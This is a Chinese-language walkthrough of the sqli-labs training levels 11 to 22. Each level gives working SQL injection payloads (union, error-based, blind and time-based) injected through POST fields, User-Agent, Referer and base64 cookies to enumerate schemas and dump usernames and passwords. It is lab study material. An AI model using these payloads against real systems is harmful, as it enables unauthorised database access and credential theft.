目录
- Less-11(POST传参,联合注入)
- Less-12(floor(),rand()报错注入)
- Less-13(updatexml()报错注入)
- Less-14(extractvalue()报错注入)
- Less-15(布尔盲注+时间盲注)
- Less-16(布尔盲注+时间盲注)
- Less-17(extractvale()报错注入)
- Less-18(User-Agent注入——extractvalue()报错注入)
- Less-19(referer注入——updatexml()报错注入)
- Less-20(cookie注入——updatexml()报错注入)
- Less-21(base64注入——floor(),rand()报错注入)
- Less-22(base64注入——extractvalue()报错注入)
Less-11(POST传参,联合注入)
第11关总结:
第十一关与前面的关卡不太相同,这里采用了POST传参,我们需要借助浏览器插件或者抓包工具对其参数进行修改。用户名与密码均为admin,登录成功后会回显出用户名及密码,所以我们可以尝试在参数uname与参数passwd处尝试进行注入,经过判断,发现在参数uname处存在单引号字符型注入,并且有回显能判断出字段数,所以我们使用简单的联合注入就可以完成
- 这里可以采用hackbar插件以POST传参来进行访问
- 判断注入类型
#测试uname参数
admin'
admin' and 1=1#
admin' and 1=2#
- 判断注入字段数
admin' order by 2#
admin' order by 3#
- 判断显示位置
z' union select 1,2#
- 查看当前数据库名,及版本
z' union select database(),version()#
查询所有数据库:
z' union select 1,group_concat(schema_name) from information_schema.schemata#
- 查询当前数据库中的表名
z' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
- 查询users表中所有的列
z' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
- 查询数据:
z' union select group_concat(username),group_concat(password) from users#
Less-12(floor(),rand()报错注入)
第12关总结:
第12关这里与第11关相同,只是这里的注入类型为uname=(“admin”) ,所以我们可以采用联合注入来完成,11关刚刚用了联合注入,所以我这里使用了floor-rand注入,各种注入都尝试一下
- 判断注入类型
admin"
admin") and 1=1#
admin") and 1=2#
-
判断字段数
admin") order by 2#
-
判断显示位置
admin") union select 1,2#
- 查询当前数据库名
admin") union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
- 查询当前数据库中表的个数
z") union select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
- 查询users表中字段数
z") union select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
- 查数据:
z") union select count(*),concat(0x7e,(select group_concat(username) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
z") union select count(*),concat(0x7e,(select group_concat(password) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
Less-13(updatexml()报错注入)
第13关总结:
13关这里没有回显,只给出了登录提交后的状态,所以我们这里可以考虑布尔盲注,时间盲注,updatexml()报错注入,floor()报错注入等,这里与12关的步骤基本相同
- 判断注入类型
admin'
admin') and 1=1#
admin') and 1=2#
- 判断字段数
admin') order by 2#
- 查看显示位置(并没有显示位置)
admin') union select 1,2#
- 查看当前数据库
admin') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
- 查询当前数据库中所有的表
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
- 查询users表中所有的列
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
- 查数据
z') union select 1,updatexml(1,(select group_concat(username) from users),1)#
z') union select 1,updatexml(1,(select group_concat(password) from users),1)#
Less-14(extractvalue()报错注入)
第十四关总结:
第十四关判断出双引号字符型注入,但是没有回显,所有我可以进行布尔盲注,时间盲注。经过测试,也可以进行extractvalue()报错注入,exp报错注入等
- 判断注入类型
admin"
admin" and 1=1#
admin" and 1=2#
- 判断字段数
admin" order by 2#
admin" order by 3#
- 查询当前数据库名
admin" union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))#
4. 查询当前数据库中所有的表
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
- 查询users表中所有的字段
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e))#
- 查询数据库中的数据
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))#
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))#
Less-15(布尔盲注+时间盲注)
第15关总结:
这里判断注入类型的时候没有报错信息,所以我们只能猜测注入。这里只做了重要的几步payload,其余的可以自己研究,也可参照我前面做的第5关,还是比较详细的
- 判断注入类型
admin' and 1=1#
admin' and 1=2#
#也可以利用sleep()函数
admin' and sleep(5)#
- 判断注入字段数
admin' order by 2#
- 猜解当前数据库名的长度
admin' and length(database())=8#
- 二分法猜解数据库名
admin' and ascii(substr(database(),1,1))=115#
- 猜解当前数据库中表的个数
admin' and (select count(table_name) from information_schema.tables where table_schema='security')=4#
可以看出当前数据库有四个表
- 猜解每个表名的长度
admin' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6#
第一个表名的长度为6
7. 二分法猜解表名
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
- 猜解列名和数据与猜解表名的方法一样,这里不做过多演示(可以参照前面第五关)
Less-16(布尔盲注+时间盲注)
第16关总结:
第16关这里判断注入类型时没有报错信息,所以我们只能盲猜注入类型。这里和15关一样,只是改变了注入类型
盲试注入类型
admin") or 1=1#
admin") and 1=2
查看字段数
admin") order by 2#
Less-17(extractvale()报错注入)
第17总结:
这一关将注入点只能在参数passwd处进行注入,对参数uname处做了检查过滤。并且还有一个不同点:前面这些关卡都是以select语句进行的,这里是以update语句进行
- 判断注入类型
#1.输入一个引号报错,从报错信息可以看出来是单引号字符型注入
admin'
#2.输入两个引号页面显示正常,相当于这两个引号闭合,对sql语句不产生影响
admin''
#3.输入单引号和井号页面也显示正常,可以判断出注入类型为单引号字符型注入
admin'#
开挂(查看源代码)
存在检查输入的函数
这里只对用户名进行了检查,并没有对密码进行检查,所以用户名处不存在注入,而密码处存在单引号字符型注入
#执行的sql语句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
- 尝试利用报错注入,查看当前数据库名
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
3. 查看当前数据所含的表名
admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
4. 查看users表中所有的列名
admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#
Less-18(User-Agent注入——extractvalue()报错注入)
第18关总结:
18关这里我们需要借助代理或者插件来完成注入,这里的注入点在User-Agent头,当我们成功登录账号时,我们可以看到User-Agent的回显。并且这里的sql语句为insert,所以我们这里借助源码来完成
-
成功登录后会返回User-Agent头,所以我们可以在User-Agent尝试注入
-
替换User-Agent中的内容,我们可以发现浏览器中的User-Agent也发生变化
-
开挂(查看源码)
#mysql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
- 测试注入类型
123'
123' and '1'='1
- 报错注入,查看当前数据名
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
- 查看当前数据库中所含的表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='2
7 查看users表中所有的列
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '1'='1
- 查看数据
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)) and '1'='1
Less-19(referer注入——updatexml()报错注入)
第19关总结:
19关的注入点在referer头,这里与第18关的注入是一模一样的,注入类型也是一样的
数据库中的sql语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
- 查看当前数据库
123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
- 查看当前数据库中所有的表
123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
- 查看users表中所有的列
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or '1'='2
- 查看数据
123' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='2
123' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '1'='1
Less-20(cookie注入——updatexml()报错注入)
第20关总结:
20关和18,19关不太一样,这里的注入点在cookie。等做完实验,查看完源代码才恍然大悟,这里的注入必须是要以GET请求方式去向服务器发送请求,这时cookie才会被带入到数据库查询,才会产生注入点。而我们在浏览器发出的POST数据包,到web服务器后会发生302重定向,所以我们真正的注入数据包应该是重定向后的那个数据包
- 判断注入类型:
admin'
admin' and '1'='1
admin' and '1'='1
- 爆库
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
- 爆表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='2
- 爆列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and '1'='1
- 爆数据
admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1
admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1
- 回过头来查看源码:
6.1 我们可以发现,当我们使用POST传参的时候,只有参数uname,passwd被带入数据库查询,并且被经过滤检查。
6.2 只要以非POST方式提交请求时,这是cookie才带入数据查询。那我们在浏览器中以POST提交参数时,为什么就可以在cookie处存在注入呢???(原因如下)
6.3 我们通过抓包分析
a. 点击提交,抓包
b. 可以看出我们发送数据包后,出现302状态码,重定向作用
c. 这个时候发现重定向后的包是以GET方式发送,所以可以将cookie带入数据进行查询,这个数据包才是我们真正注入的数据包。并且返会数据库文件存放路径
6.4 正确注入方式
不需要修改提交方式,默认以GET方式。前面的POST注入多此一举
Less-21(base64注入——floor(),rand()报错注入)
第21关总结:
这一关对输入的数据需要进行base64加密,因为源码中有base64解密函数,剩余的步骤与20关一致,注入点都在cookie
源码:
-
登录成功后发现,这里在cookie处做了base64加密操作,所以这里如果存在注入的话,我们要将构造好的sql语句进行base64加密,再带入数据库
受到第21关的启发,我们在注入前先抓包查看可能是哪种请求方式的注入
POST数据包:302重定向
GET数据包:200成功响应并返回
-
查看注入类型
从报错信息大概可以看出来这是 ') 字符型注入
-
爆库
admin') union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
- 爆表
admin') union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
- 爆列
admin') union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
6. 爆数据
admin') union select 1,count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
Less-22(base64注入——extractvalue()报错注入)
第22关总结:
这一关与21关做法相同,只有注入类型发生变化,注入点需要输入经base64加密的payload
-
判断注入类型
-
爆库
-
爆表
-
爆列
-
爆数据